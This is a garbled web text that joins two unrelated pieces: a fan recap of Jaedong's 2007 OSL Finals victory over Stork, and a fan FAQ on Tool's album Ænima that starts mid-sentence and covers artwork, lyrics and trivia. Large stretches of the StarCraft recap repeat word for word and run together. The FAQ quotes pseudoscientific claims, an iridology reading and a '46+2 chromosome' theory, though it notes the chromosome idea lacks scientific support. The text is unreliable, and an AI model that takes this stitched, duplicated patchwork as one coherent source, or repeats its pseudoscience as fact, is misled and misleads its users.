Unfortunately, the same cannot be said about Jaedong’s ZvP. While Stork has no recent series losses against lower-tier Zergs, Jaedong actually lost a Bo5 to Rock in the last OSC Finals. This is the same Rock who was 2-8 in his last ten PvZs before that series (career PvZ 42%), losing to players like ShinHwa, Zergman, and Clon. The loss was embarrassingly bad, but it was also a benchmark for just how far Jaedong has come.
“He's... just a kid. No older than my son.”
—Subway passenger, upon seeing an unmasked Spiderman
It is easy to forget that underneath that machine-like accuracy and speed, Jaedong is just a seventeen year old kid playing in the most important series of his life. He is not Savior in Shinhan3, who had four MSL Finals under his belt. He is not GGPlay in Daum, an experienced veteran with something to prove (GGPlay’s first televised game came a full two years before Jaedong arrived on the scene). Nada was eighteen when he appeared in his first OSL Final. Savior was twenty; Iloveoov twenty-one.
Even geniuses are vulnerable to nerves. We were reminded of this in the very first game on Persona. For Jaedong, it was an epic failure. At the time it seemed like just a step towards another spectacularly boring 3-0 finals. The game was essentially over after the scouting probe harassment. Stork was almost too prepared for Jaedong’s poorly executed and transparent all-in, and Jaedong conceded the game with a single digit supply cap.
Stork thinks to himself – “I’m going to win the OSL!”
Games one and five on Persona was subject to much pre-match discussion. This map was supposed to be Jaedong’s ticket to victory. Instead, all signs pointed toward a Stork win. The fans I watched with all remarked on how lost Jaedong looked in Game One. His decisions were blind and without direction, and the final lurker-ling attack smacked of desperation from a wide-eyed newcomer who was overwhelmed under the bright OSL Finals lights.
“I shall give you my bird-killing powers.”
Image by alffla
Through vocal ventrilo prayers, we urged for standard play. The better player aims for late game, and you, Lee Jae Dong, are the better player. How can you not see that? From the offline qualifiers to the semifinals, you knew. You simply needed to believe one more time. Lurker-ling all-ins are not believing. Play standard!
It would seem our prayers did not go answered. The second game on Katrina did not open well. Stork’s one gate harassment killed four drones, forced Jaedong to make a lot of zerglings and secured Stork’s backyard expo. The camera cut to Anytime’s grim expression in the audience. He knew his teammate was behind.
Zerg is a race of fire. It is easy to kill at inception yet impossible to stop once it gets going. A tiny spark is easily snuffed out, but an inferno can never be. Zerg is a race of force and momentum. It is a snowball tumbling downhill or a freight train picking up speed.Every versus Zerg matchup exists on a mountain. GGPlay plods dutifully up the economy mountain, and his opponent must prevent or slow him from reaching the top. If GGPlay gets to the peak (somewhere around four gases and hive), he wins, because nobody is stopping him when he comes down the other side. Similarly, KwanRo starts at the top of the aggressiveness mountain, and his opponent’s task is simply to not die before KwanRo reaches the bottom (where his attacks flame out). Every attack from then on is increasingly more survivable.Zerg users are like their race. Their careers can blaze and rage or wither and die all within a year, a season, or a single game. More so than any other race, a Zerg player’s abilities are influenced by their momentum. Fear the confident, win-streaking Zerg player, and be happy to play the opposite. How else does one explain GGPlay’s lone title or July’s entire career?Therefore, as much as it hurts to say this, it is becoming increasingly evident that Shinhan3 was Savior’s peak. The Maestro we knew and loved may never return. The fan in me will always support Ma Jae Yoon and hold out the hope that the Bonjwa in him has not fully been extinguished. If any player can make a full comeback, he can. But history is not on his side.It is as if all Zerg players are subconsciously linked. Within a hive mind, it is logical, almost intuitive, that only one champion is supremely successful at any given time. With Savior’s painful fall from Bonjwa, it is inevitable that the Zerg hierarchy sort itself out. Savior’s successor, his heir, will step forward.While the Protoss and Terran players practice in a collegiate, camaraderie-like atmosphere, the Zerg players battle in a frenzied horde, each scrambling to sit on the now vacant throne, the seat that Savior occupied for the past two years. It is not a position to be shared, nor is it a comfortable seat. Thus there will never be the Zerg equivalent of Boxer-Oov. Transcendent Zerg pairings cannot be characterized as teacher-student, or even brother-brother as Reach and Ra happily co-exist. The Zerg master-apprentice relationship is merely a bond forged through common skill, knowledge, and circumstance, crossing team boundaries and player friendships. It is an unforgiving, adversarial link between two individuals who know deep down that ultimately, there is only room at the top for one. And amid the crowd of hungry Zerg players learning from Savior’s triumphs and mistakes, Lee Jae Dong stands above them all.Lee Jae Dong is a Starcraft genius at the age of seventeen. He has the best ZvZ on the planet at an astounding 25-9 (73%), but his play versus Terran draws the most attention. Jaedong’s ZvT produces July-micro, Savior-management, and fourteen game win streaks. In 2007, the difference between his #1 ranked ZvT ELO and the #2 ZvT (Savior) is actually greater than the difference between #2 Savior and theprofessional Zerg. Jaedong is so far ahead of his peers in ZvT that there is Jaedong, and then there is everyone else.That is why the Ever2007 OSL Final is so much more important than Daum, which was more about Savior’s fall than GGPlay’s victory. Before this match, I remember thinking that if Stork won, we would just be watching a solid but unspectacular player (sorry ManaBlue) struggle and finally realize his dream. Stork winning would be a feel-good story, but nothing more. As great as his 2007 has been, I just could not see Stork winning multiple titles or dominating for a long period of time.But if Jaedong won, we would not merely be spectators. We would be witnesses. We would see, with our own eyes, potential become reality. It would be a Zerg coronation and a Bonjwa birthday party.But a Bonjwa has no weak matchups. Jaedong will never attain Savior’s peak status without being dominant versus Protoss. ZvP is the staple matchup for Zerg, the same way PvT is for Protoss and TvZ is for Terran. It should the “easy,” reliable backbone matchup that Zerg players can rely on. To truly surpass Savior, the next great Zerg would have to showcase a ZvP that is at least on par with the Maestro’s.Weak matchups are only weak relative to something. Stork’s PvZ only looks weak because his other two matchups are so strong. Many fans seem to overlook the fact that Stork forced Savior to a deciding game in GomTV3, and Savior had to use an unorthodox one-hatch lair build to win. Before the Ever2007 OSL Finals, Stork’s PvZ ELO in 2007 was actuallyamong all Protoss players. In 2007, Stork’s PvZ rating was higher than Free’s, higher than Much’s, and higher than Anytime’s. Stork’s PvZ was improving, or as Stork claimed, it had always been good (just not on TV).Unfortunately, the same cannot be said about Jaedong’s ZvP. While Stork has no recent series losses against lower-tier Zergs, Jaedong actually lost a Bo5 toin the last OSC Finals. This is the same Rock who was 2-8 in his last ten PvZs before that series (career PvZ 42%), losing to players like ShinHwa, Zergman, and Clon. The loss was embarrassingly bad, but it was also a benchmark for just how far Jaedong has come.It is easy to forget that underneath that machine-like accuracy and speed, Jaedong is just a seventeen year old kid playing in the most important series of his life. He is not Savior in Shinhan3, who had four MSL Finals under his belt. He is not GGPlay in Daum, an experienced veteran with something to prove (GGPlay’s first televised game came a full two years before Jaedong arrived on the scene). Nada was eighteen when he appeared in his first OSL Final. Savior was twenty; Iloveoov twenty-one.Even geniuses are vulnerable to nerves. We were reminded of this in the very first game on Persona. For Jaedong, it was an epic failure. At the time it seemed like just a step towards another spectacularly boring 3-0 finals. The game was essentially over after the scouting probe harassment. Stork was almost too prepared for Jaedong’s poorly executed and transparent all-in, and Jaedong conceded the game with a single digit supply cap.Games one and five on Persona was subject to much pre-match discussion. This map was supposed to be Jaedong’s ticket to victory. Instead, all signs pointed toward a Stork win. The fans I watched with all remarked on how lost Jaedong looked in Game One. His decisions were blind and without direction, and the final lurker-ling attack smacked of desperation from a wide-eyed newcomer who was overwhelmed under the bright OSL Finals lights.Through vocal ventrilo prayers, we urged for standard play. The better player aims for late game, and you, Lee Jae Dong, are the better player. How can you not see that? From the offline qualifiers to the semifinals, you knew. You simply needed to believe one more time. Lurker-ling all-ins are not believing. Play standard!It would seem our prayers did not go answered. The second game on Katrina did not open well. Stork’s one gate harassment killed four drones, forced Jaedong to make a lot of zerglings and secured Stork’s backyard expo. The camera cut to Anytime’s grim expression in the audience. He knew his teammate was behind. Fun observation: Did anyone else think it was interesting that Stork thanked Anytime and Backho, Lecaf’s two main Protoss players, in his post-semifinals interview? Did these two help Stork because they knew Jaedong stood a better chance against Stork than he did against Bisu?
With a lower worker count and equal bases as Stork, Jaedong continued to make mutalisks even after seeing Stork’s initial corsairs.
FakeSteve: Stork saw the spire, he’s going to be completely ready for those mutas.
Stork saw the spire, he’s going to be completely ready for those mutas. Chill: What is Jaedong doing?? That is not going to work.
What is Jaedong doing?? That is not going to work. Hot_Bid: Stop making mutas!!
Stop making mutas!! Brood: This is ugly to watch, is Jaedong some sort of celebrity guest or a contest winner?
“EE HAN TIMING!” (This one timing!)
The vent channel went dead with stunned silence. The attack actually worked. We had never before seen something pulled off with such perfect timing and execution on a stage as huge as the OSL Finals. Stork misplaced one cannon, and it cost him Game Two. Jaedong lured Stork’s corsairs out, split his scourge perfectly, and absorbed the cannon fire with his mutas—textbook theorycraft put into action. By the time Stork’s last ditch zealot counter arrived at Jaedong’s base and found an airtight evo-evo-pool block, it was already over.
A few weeks ago in his quarterfinals against Light, Jaedong used two scourge and one muta to kill a valkyrie hiding among four turrets. He also used two evolution chambers to block vulture entry. Game Two showcased a cross-matchup transfer of skills and style, and it was only the beginning. Jaedong was learning ZvP before our very eyes.
We were still talking about the Game Two muta/scourge attack when the next game on Fantasy II began. Game Three would answer every question we had about Jaedong’s ability to manage a long, standard game. On Fantasy, Jaedong taught a map control clinic. He rebuffed Stork’s harassment attempts with burrowed InfoLings™ all over the map. He scourged shuttles and ran drones the second a shuttle was seen. Jaedong was one base and fifteen to twenty supply ahead of Stork for the entire game.
Perfectly disguised by Jaedong; Stork had no idea this drop was coming.
The game culminated in Jaedong luring corsairs away and obliterating Stork’s third gas island with a ten overlord, forty hydra drop, while simultaneously holding Stork’s 150 supply Protoss land army with waves and waves of lurker/hydra/ling. At this exact moment, every professional Starcraft player in the world collectively groaned, because they realized the ZvP light bulb in Lee Jae Dong’s head had finally switched on. At this exact moment, a thousand Koreans kids switch to Zerg. At this exact moment, Bisu smiled, because he now knew who to pick for his MSL Group.
The most impressive thing about Game Three was the cool, efficient way the killing was carried out. It was like re-watching Dexter Season One. Jaedong just looked so confident, as if there was absolutely no way that Stork could win. From Stork’s standpoint, any hope remaining from the “fluke-ish” nature of Game Two was gone. Game Three could not be characterized as a one-time micro trick. It was a macro war, and it was not close.
“Everything is proceeding as I have foreseen.”
—Darth Maul Jae Yoon
Image by Xeofreestyler
I waited for Game Four on Blue Storm with giddy anticipation. Jaedong was about to win the OSL! After Game Three, I knew Stork was done. You could see it in his face as the waves of Zerg units poured forth from all directions. It was the “I can’t believe this is happening again” Stork face. The same face made an appearance in the GomTV2 Finals against Bisu and every time Stork faces Savior.
The cameras cut to a worried-looking January, and rightly so—her ace was now facing a stone-cold assassin. The Zerg in the other booth was no longer some kid with a weak matchup. He had transformed into Savior ZvP version 2.0, Cuban gangster reborn (but not old to drink yet).
The recent zergling-factory trend on Blue Storm has led to every PvZ on the map climaxing in a “oh shit, all I have left are dragoons” moment. It’s where the big Protoss midgame push looks like it might work because the army is so big and shiny, but the attack stalls out and the Protoss player is left with maybe eight to twelve dragoons and a morphing archon against six hatcheries worth of reinforced 2/2 adrenal zerglings. Through exhaustive historical analysis I have concluded that if Blue Storm was actually early 1940s Eurasia, the third Zerg gas would be Moscow, the Protoss would be the Germans, and the adrenal upgrade would be the Russian Winter.
“Winter is coming.”
Game Four was total, utter domination. After the ten-minute mark, Stork never pushed past the mid point of the map. It was an endless minefield of lurker/ling and scourged observers. There were a dozen battles, and Stork came out slightly more behind each time. At one point in the game, Jaedong had four fully saturated gas bases and was plaguing Stork’s army every fifteen seconds. At the twentieth minute, when Jaedong finally crossed the midpoint of the map to attack, he brought with him a fully upgraded ultra/ling/defiler army that was triple Stork’s supply. Jaedong’s fans began cheering before the armies even engaged.
Jaedong makes a statement.
Two more bases fell, and a teary-eyed Stork tapped out.
For the briefest of moments, our Zerg kings look human.
Lee Jae Dong has walked the Royal Road, from offline qualifiers to OSL Finals. He is the youngest OSL winner ever, and has
“Jaedong hugs his mother aww such a good son. He’s crying. She’s crying. Everyone melts.”
—Last Romantic, KTF Fan
My OSL Checklist
by Lee Jae Dong
Kill.
Kiss Trophy.
Hug mom.
Celebrate.
And, last but not least…
Leave early to practice for next season.
Why? Because scratched in at the bottom of his list, in barely legible handwriting, was:
Do what Savior could not. Beat Bisu.
Group B of the GomTV4 MSL is just a few weeks away, and Bisu is waiting.
It is an uncomfortable throne, but Lee Jae Dong plans to sit for awhile. With a lower worker count and equal bases as Stork, Jaedong continued to make mutalisks even after seeing Stork’s initial corsairs.The vent channel went dead with stunned silence. The attack actually worked. We had never before seen something pulled off with such perfect timing and execution on a stage as huge as the OSL Finals. Stork misplaced one cannon, and it cost him Game Two. Jaedong lured Stork’s corsairs out, split his scourge perfectly, and absorbed the cannon fire with his mutas—textbook theorycraft put into action. By the time Stork’s last ditch zealot counter arrived at Jaedong’s base and found an airtight evo-evo-pool block, it was already over.A few weeks ago in his quarterfinals against Light, Jaedong used two scourge and one muta to kill a valkyrie hiding among four turrets. He also used two evolution chambers to block vulture entry. Game Two showcased a cross-matchup transfer of skills and style, and it was only the beginning. Jaedong was learning ZvP before our very eyes.We were still talking about the Game Two muta/scourge attack when the next game on Fantasy II began. Game Three would answer every question we had about Jaedong’s ability to manage a long, standard game. On Fantasy, Jaedong taught a map control clinic. He rebuffed Stork’s harassment attempts with burrowed InfoLings™ all over the map. He scourged shuttles and ran drones the second a shuttle was seen. Jaedong was one base and fifteen to twenty supply ahead of Stork for the entire game.The game culminated in Jaedong luring corsairs away and obliterating Stork’s third gas island with a ten overlord, forty hydra drop, while simultaneously holding Stork’s 150 supply Protoss land army with waves and waves of lurker/hydra/ling. At this exact moment, every professional Starcraft player in the world collectively groaned, because they realized the ZvP light bulb in Lee Jae Dong’s head had finally switched on. At this exact moment, a thousand Koreans kids switch to Zerg. At this exact moment, Bisu smiled, because he now knew who to pick for his MSL Group.The most impressive thing about Game Three was the cool, efficient way the killing was carried out. It was like re-watching Dexter Season One. Jaedong just looked so confident, as if there was absolutely no way that Stork could win. From Stork’s standpoint, any hope remaining from the “fluke-ish” nature of Game Two was gone. Game Three could not be characterized as a one-time micro trick. It was a macro war, and it was not close.I waited for Game Four on Blue Storm with giddy anticipation. Jaedong was about to win the OSL! After Game Three, I knew Stork was done. You could see it in his face as the waves of Zerg units poured forth from all directions. It was the “I can’t believe this is happening again” Stork face. The same face made an appearance in the GomTV2 Finals against Bisu and every time Stork faces Savior.The cameras cut to a worried-looking January, and rightly so—her ace was now facing a stone-cold assassin. The Zerg in the other booth was no longer some kid with a weak matchup. He had transformed into Savior ZvP version 2.0, Cuban gangster reborn (but not old to drink yet).The recent zergling-factory trend on Blue Storm has led to every PvZ on the map climaxing in a “oh shit, all
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ima", giving a nod to the two words which comprise this title. This despite the fact that most words beginning "Æn--" should be pronounced "Een--", but they made up the word, so they can have their cake and eat it too, I suppose.
To represent that dipthong in HTML, you need to type an "&" sign, followed by "AElig;". So, to type the album title, enter: & AElig;nima...without that space after the &. Mac users, type option-', or option-shift-'.
PC users, type ALT-1-4-5 or ALT-1-4-6, or ALT-0-1-9-8.
Depends. The LP and cassette cover are just that white-splashy-square image, properly known as the "Smokebox." That image did appear on video screens during the 1996-7 tour, in its animated form. The CD has a lenticular case, so the images appear animated. (Haha, ænimated). The CD cover has the Smokebox amidst a moving field of green eyes. That image was created by Adam and Cam de Leon. Outside the US, the animated CD came in limited quantities. The new cover is the static Smokebox image (sometimes with the words Tool and Ænima); the inside is a list of "Other Albums by Tool", complete with 16 bogus covers for these albums. These albums are, for the curious: Gay Rodeo Bethlehem Abortion Clinic Bad Breath The Other White Meat Two Weiners For Daddy Three Fat Brown Fingers Mungey the Clown I Smell Urine The Christmas Album Iced Pee Spring Boner Tetanus for Breakfast Crapsteaks Smothered in Dictators Nurse Ketimella's Kit'chen Just Up That Dirt Road: Tool Live! at the Acropolis Brown Magic and Big Appetites: Music from the Movie Soundtrack Jelly Donut Here's some trivia about the back cover image (unless your foreign copy has no image on the back). Mike ([email protected]) shares this info on the green eye: "The eye is very unhealthy acording to the study of iridology. The lighter area around the pupil is a sign of dropped transverse colon. The darker green areas in the iris are a sign of drug use or chemicals in the body. The dark green circles are tiny deposits of the substance. The texture of the iris, the harsh waves in the background of the iris, are a sign a body of low resistance and poor inherent ability to overcome difficulties. The starting of the second iris is screwed up too, but I don't think that iridology has anything to do with that." The CD is generally a picture of the contortionist, but some foreign copies have the word "Astaroth" written around the disc, decorated with various symbols. Astaroth has some mystical significance related to the patterns on Danny's drums. See Question G7.
Yep. Here's a list of the artwork in Ænima: Vinyl Cassette CD White square x x White square * x Calif. falling into ocean * x Naked band pic * x Naked contortionist x x Bill Hicks painting x x Double-green-eye x x Double-green-eye * x Double-green-eye x (4 frames of *) Blue man w/scalpel x x 1 angel w/green monster x x 2 angels w/green monster x 4 angels w/green monster x "Contact Sheet" band pix x * = the animated / lenticular version. The cassette also has two other paintings by Ramiro Rodriguez, described here by Eddie Bitetti ([email protected]): "A painting of a man waist deep in water. You can't make out his face because it is very dark, but his stomach muscles are very defined. His head is back with his face up towards the sky with his arms back half covered by the water. It looks like if you were standing up and trying to get some sun, or like if you took a deep breath and throw your head and arms back. You can see his reflection in the water and there is a bluish-black colored backround. Overlapping the whole picture is sort of a spiral spiro-graph-ish drawing. [The drawing is known as the Flower of Life... do a web search for more info. The painting can actually be viewed to be upside down or right side up, depending on how you look at things.] The other one has what looks like the bottom half of a woman's body. In front of her is a man in the fetal position. They are both nude. He seems to be floating there right in front of her, and she has her left hand on his back and her right hand goes down behind him and out of view. This also has that spiral thing overlapping it. This backround is black. I can't tell if this is the same man as the top picture, but you can see the side profile of his face and see that he has black hair." They are named "Pneuma I" and "Almus" respectively. Try http://w3.one.net/~icarus/ram for more of Ramiro Rodriguez's work.
Well, the animated images wouldn't have worked in the vinyl, that's for sure. A concrete answer not yet available.
In the second to last row on the 'contact sheet', in the second frame, is a tapestry with some arcane symbols; there are also such symbols on the center labels of each record. Someone asked around, and found this out: The seven pointed star is the symbol for the goddess Babalon, an Egyptian goddess similar to Aphrodite. She symbolizes love and sexuality (that's one of the meanings, anyway), and the symbol is familiar to practicioners of ritual magik. The pentagram in the middle, where ritual magik is concerned, represents air, water, fire, body, and spirit. Each point of the star symbolizes one of these. See also Question G20. Whether this (in conjunction with the essay on Ritual Magik in the liner notes) represents something meaningful to the band, or just another well-fabricated fib, nobody can say.
Understandable. On the sofa, first of all, left to right, are Danny, Justin, Adam, Maynard. As to the contortionist's gender, well, Alana Cain is credited for this in the liner notes, so there you go. And in case you were wondering about the item on the floor; it seems that Maynard stands up to offer "the entertainer" a flower; notice that as he stands up, he throws it to the ground. Whew.
Matt Trainor ([email protected]) did some homework and found this: "It is definitely referring to Ketamine (Vitamin K), a veterinary anesthetic noted by psychonauts and trippers as being HIGHLY dissociative (removal of self from body). It's used on cats and to restrain apes and monkeys, just like the notes say. Apparently it also can cause something remarkably like the "near-death" experience experienced by those have been, well, near death. The out of body trip is supposed to be one of the most helpful/effective for self-development due to the completely objective view one gets of himself. This of course is highly relevent to the whole theme of the album in general." It has turned out to be a direct quote from literature accompanying the drug.
A comedian, well-liked by the band. He passed away a few years ago. Notice he is listed in the liner notes for "Undertow" as well. And no, he didn't paint that painting, it was done by Kevin Willis (see Question E7). He has four CDs released on Rykodisc last spring; one of them is entitled "Arizona Bay." Hicks had a strong influence on the band's work, which becomes clear after giving his CDs a listen. On a related note, Jordan Geiger ([email protected]) suggests another place you might want to check for insights into "Ænima" (such as LA falling, "Third Eye", "Forty-Six & 2", the artwork): "Nothing In This Book Is True But It Is Exactly How Things Are" by Bob Frissell (one of the many books on Tool's suggested reading list). More on Hicks as we go on...
It's a sculpture by Adam; the man has used that scalpel to open his "third eye" ("bright, blue, shimmering"). The face is based on a mold of Adam's face.
Say it one syllable at a time. Slowly. Over and over. Without an accent. To somebody else. If you really aren't up to the mental challenge, try this: "C...".
True. Surprising, considering he was with them when they wrote "Pushit," "Stinkfist," "Eulogy," and "Ænema." (Paul's omission makes me feel better that I wasn't listed either... hehe.)
Part of that is info about this particular cult. Additionally, you may recall that this summer, an article was circulated claiming that the band did in fact sacrifice teenagers and drink their blood. Suffice it to say that the article was a perfect example of Tool's message that you can't always believe what you read, no matter who says it. (Unless it's in this FAQ, of course).
They likely just wanted a change.
Good ol' Maynard sent the lyrics in to http://toolshed.down.net, so they are all there, and for the most part, they are not discussed here.
The best answer anyone has come up with is that "lyrics will be available one way or another online; better that people read / quote / interpret the real thing than just guesses."
Entertainingly, seems that for the entire first month that Ænima was out, only one person ([email protected]) noticed that the Texas-Oklahoma border is WRONG, and had this to say: "Is Tool making some other statement; i.e. 'Oklahoma doesn't deserve such a long panhandle' or 'there should be two sets of 'four corners' in the US.'=) " No word on how this happened.
Flock has been described as "a fuzzy type of material, reminiscent of the furry stuff on tennis balls. It's just little fuzz that you can magnetically attatch to anything really." The Undertow ribs are flocked red, for example.
Not a piece of percussion, this Enochian magic board was marked with various arcane symbols. Danny has said it helps him focus energy while playing (see Modern Drummer, February 1997). See Question G7.
On the one hand, it could be taken literally, to be about fisting (hence all the penetration). It could also be taken more as a song about penetrating on another level, about one letting another in. Jody Westmoreland ([email protected]) offered his take on the song: "It is using a fist up the ass metaphor for the desensitizing of the public. Saying that when (in the 50's for example) there was nothing shocking, in order for the public to be shocked / stimulated, they had to see something new. It was uncomfortable at first but soon we grew used to it. The process continues so that now it takes the whole damn arm for us to feel / be stimulated by something. The speaker would have it 'no other way'...stressing that we must be stimulated...never allowing the mind to rest."
It likely ties in to the "knuckle / finger / elbow / shoulder getting deeper within the borderline" theme. Interesting side note: there is a 1986 Clint Ruin (Jim Thirlwell) / Lydia Lunch song by the same name.
Someone who is not Tool censored out the words "knuckle, finger, elbow" from the MTV and (presumably) radio edits. Why? Because the powers that be think it's more offensive than the rest of the stuff you hear on the radio about sex, drugs, and violence.
You may have heard different lyrics at a few shows in 1998; this verse is from the Elvis Presley tune "Suspicious Minds." Maynard sings, "Caught in a trap, Can't walk out. Because I need you too much baby. Why can't you see, what you're doing to me? Because you love me too much baby." You also may have noticed a new fast breakdown section in the middle, between "anything at all" and "I'll keep digging", complete with a sample of the sound effect from the beginning of the song.
Promo singles for "H." were issued; if that constitutes a single, then we have an answer. An "Ænema" promo single came out, as did a video. A "Forty-Six & 2" promo single was also issued, followed by a "Eulogy" promo single, but no new videos.
A number of people have submitted this as their answer: "Chupa minha pica pichu ; Chupa minha pica pinto." Here's a hint: it is vaguely offensive, it's slang (so web translators don't work), and it's Portuguese.
As with most Tool songs, the song is vague enough that can be interpreted to be anyone / anything. The song is primarily about the death of something which most probably turned out to be a fake. Regarding the rumor that the band is no longer on good terms with Henry Rollins; he has recently been heard talking positively about Tool, saying he was unaware of any bad blood. In Modern Drummer (10/93), Danny mentions L. Ron Hubbard as the object of the song. One way or another, though, the song has a message that can stand apart from any specific target; the interpretation is left to you, and the specifics aren't too important.
Try "You - could be - the one - who saves - me from - my own - existence." -- thanks to Dave Conklin ([email protected]) What he's saying later on, we don't know yet.
G30. OK, they have a song called "H." What's it stand for?
The working / early title for this song was "Half Empty." The H likely stands for that (or "Half Full"). It may represent the old "half-empty is interchangeable with half-full" notion. Of course, it could also stand for anything else. It's a safe bet that it does not stand for Heroin.
When introducing this song live in 1996, Maynard touched on the idea of having an angel sitting on one shoulder and a devil sitting on the other. In at least one interpretation, the song is about being very close to someone who is tearing you apart, someone you can't bring yourself to leave, but someone who will destroy you because you can't leave them. It is the price you pay for being close to them; they aren't doing it on purpose: "considerately."
G34. What's "Useful Idiot" supposed to mean?
This "segue" is simply the sound of a record reaching the end of a side. On vinyl versions of this album, this track appears right at the end of the first side. If you didn't know any better, you might think that "H." had ended, and that this song was missing. [email protected] dug this info up: "The term, originated by the high ranking Soviets, referred to the Soviet citizens whose loyalty to the party was unwavering. While the top party officials were living the good life, the average "Useful Idiot" was standing in line hoping that the bread wouldn't run out. But the "Useful Idiots" never questioned their masters' actions or authority - they were perfect citizens."
While there is still no definitive word on this, Sam Rowe ([email protected]) has proposed this as a possible answer: "Join in my / Join in my child (and) Listen... / Digging through / My old numb shadow"
You could write a whole FAQ for this one question alone; the major underlying principles relate to chromosomes and Jungian theory. Some of the ideas behind this song are based on the teachings of Drunvalo Melchizadek. Here's a snip of an interview with him (Leading Edge, 12/95): "There are three totally different kinds of humans on the Earth, meaning that they perceive the One reality in three different ways, interpreted differently. The first kind of human has a chromosome composition of 42+2. They comprise a unity consciousness that does not see anything outside themselves as being separate from themselves. To them, there is only one energy - one life, one beingness that moves everywhere. Anything happening anywhere is within them, as well. They are like cells in the body. They are all connected to a single consciousness that moves through all of them. These are the aboriginals in Australia. There might be a few African tribes left like this. Then, there is our level, comprising 44+2 chromosomes. We are a disharmonic level of consciousness that is used as a steppingstone from the 42+2 level to the next level, 46+2...These two additional chromosomes change everything." Rachel Wells ([email protected]) has written this moderately long, excellent summary of all the relevant Jungian concepts: "Anima / Animus (pronounced On-ee-mah): In Jungian psychology, the anima refers to personality traits regarded as feminine that are often repressed into the unconscious of males while the animus refers to traits regarded as masculine that are often repressed into the unconsciousness of females. Although suppressed from conscious awareness, the anima/animus influences our behavior in powerful ways. In most individuals,it is projected onto people of the opposite sex and accounts for the experience of falling in love with someone we hardly know. As the unconscious pole of the self, the counter-ego represented by the anima/animus can also be a guide to one's own unconscious realm. It is often experienced as the guiding female (if you're male) or male (if you're female) presence in dreams. The Shadow: In Carl Jung's personality theory, the ego represents the individual's sense of personal self. The sense of personal identity is purchased, however, at the expense of certain tendencies that are rejected as 'not-self'. According to Jung, these rejected traits come together as a kind of unconscious 'counter-ego' which he termed the shadow. We may become unduly anxious or irritated when in an environment or around a person that in some way reminds us of repressed aspects of our self. If a person has rejected his or her own sex drive, for example, that person may feel irrational fear or anger around an overtly sexual individual. The shadow may appear as a person in one's dreams, usually as an individual of the same sex. Of all the archetypes, the shadow is the most powerful and potentially the most dangerous. It represents everything about ourselves that we fear and despise. The meaning of 46 + 2: According to Melchezedek, our planet is covered with geometrically constructed'morpho genetic grids'. These grids extend from about 60 feet under the Earth's surface to about 60 miles above the Earth, arranged in geometric patterns (see 'Sacred Geometry'). Each species has its own grid, which supports life, and connects the consciousness of its particular species. Before any species can come into existance or make an evolutionary step, a new grid must be completed. When a species becomes extinct, that particular species' grid dissoves. A new grid was completed in 1989 - the 'christ-consciousness' grid. This grid will allow humans to evolve into our next version. We'll develop two additional chromosomes (which are really 'geometrical images' designed to resonate with our specific grid) for a total or 46 + 2. The main change will be a shift to the "unity consciousness". Every cell in your body has its own consciousness and memory. You, the higher being that occupies your body, make the millions of different consciousnesses in your body work together as one being. How does this relate to this grid? Think of yourself as a cell and the grid as the higher being. We will still have individual consciousness, but will be united in the form of a higher being in order to work as one entity." Scientifically speaking, humans don't appear to be evolving new chromosomes (or much of anything else; thanks to technology). If you want to learn more, search the web or take a class!
G39. Is "Message to Harry Manback" an actual phone message?
Yep, someone left someone a threat. Yes, they actually meant it as a threat. So no, it wasn't concocted by the band. (Though the piano part was obviously added in to make it sound more like a love poem).
Danny had this to say about it in some interview: "Message to Harry Manback is a recording of the words of an uninvited Italian guest who came to Maynard's house one day. A so-called friend of a friend of a friend of Harry's.... Before we finally managed to figure out that nobody really knew him, he had already emptied the fridge and run up a huge phone bill. He got kicked out of the house." Harry Manback is a pseudonym for the real recipient of the message, presumably a past roommate of Maynard's: Hotsy Menshot of Green Jello.
G42. Is "Hooker with a Penis" directed at anyone in particular?
It seems to be aimed at folks who abuse / don't understand the concept of "selling out."
Some folks are aware that OG commonly means "original gangster". In the context of this song, OGT may well mean "Original gangster Tool"; that is, "Original Tool Fan" since '92 -- the first EP.
As usual, Maynard is just whispering away. Most notably, at 1:40 into the song, he says something which has so far only been deciphered as "consume, be fruitful, and multiply." Originally thought to be a Bill Hicks quote, it appears he jacked it from the Bible, Genesis 1:28. Other whispering, it has been suggested, is him reading a list of merchandise, though we don't know that for sure.
G46. "Intermission" sounds awfully familiar, doesn't it?
Yep, it's just a keyboard version of the main riff to "jimmy."
The singer is referring to himself at age eleven. Go listen to the song again, it will make a motherload more sense now.
All you get is a hint: he's listed in the liner notes. Read 'em slowly. Don't give up.
Yup, he spent some amount of his childhood there. At shows in Ohio, he mentioned a small town called Ravenna. Happy hunting.
(It really is, look closely). Because he's just a kid.
This "fact", reported in Rolling Stone magazine, was actually just a (big) mistake on their part; Maynard's mother is still alive. They did print a retraction later.
The title means "The Eggs of Satan" (or "The Balls of Satan" = "Satan's Balls").
The secret is out now that everyone has translated it: it's a recipe for... a certain kind of cookie. With no eggs. Complete lyrics are posted to toolshed.down.net's lyrics section.
"German" does not equal "Nazi."
It's yet another not-quite-a-word on this album. As Dr Teeth ([email protected]) suggested, long before we knew it was a one word title, the indeterminate "Push It on me" vs. "Shit on me" is resolved into "Pushit."
G57. I just don't understand "Cesaro Summability."
It seems that the baby crying is NOT Maynard's son Devo; it has been suggested that it is just a sample from Fried Green Tomatoes, or the show Absolutely Fabulous. The title is the name of a mathematical theorem describing a method of adding certain infinite series. As for what the segue means or why it's here, we may never find out.
In a nutshell, yep, it's about Los Angeles, California falling into the Pacific Ocean as a result of a big big big earthquake. If you take Maynard's advice and "don't just call him a pessimist / try to read between the lines", you could probably take it to be about just generally cleansing and purging (hmm, that's the last line in "Flood.")
Gotta be one of those 'hand shaking smiley-faced' types. You know. Politicians.
Clearly, since "Ænema" the song title must have a different meaning than "Ænima" the album title; that whatever "Ænema" represents must not be representative of the whole album.
Right you are; that would be a typo. Want proof? Look VERY CLOSELY at the label on Side 3 of the vinyl, and you'll see the correct spelling.
Scott Cronshaw has this to say about the title: "They are supposed to be 'good' ions. They are found in high doses near waterfalls, streams, forests, etc. Negative ions have (reportedly) beneficial effects on humans... increased metabolism, higher resistance to ailments and a generally more happy attitude. Positive ions, on the other hand, are 'bad'... they can be found in mass quantities in cities, airports, garbage dumps, etc. Also, computer monitors output a large amount of positive ions. And, of course, positive ions are supposed to have the opposite effects on humans: depression, weight gain, sickness, etc." -- Thanks to [email protected]
That would be the aforementioned Bill Hicks; those are snips of comedy routines of his, from "The War On Drugs" (off his CD "Dangerous") and "Drugs Have Done Good Things" (off "Relentless"). In fact, on his CD "Rant in E Minor," he refers to the power that heavy doses of hallucinogens have to "squeegee his third eye."
"Opened my eye (3x)
And there we were" -- repeat once. Simple.
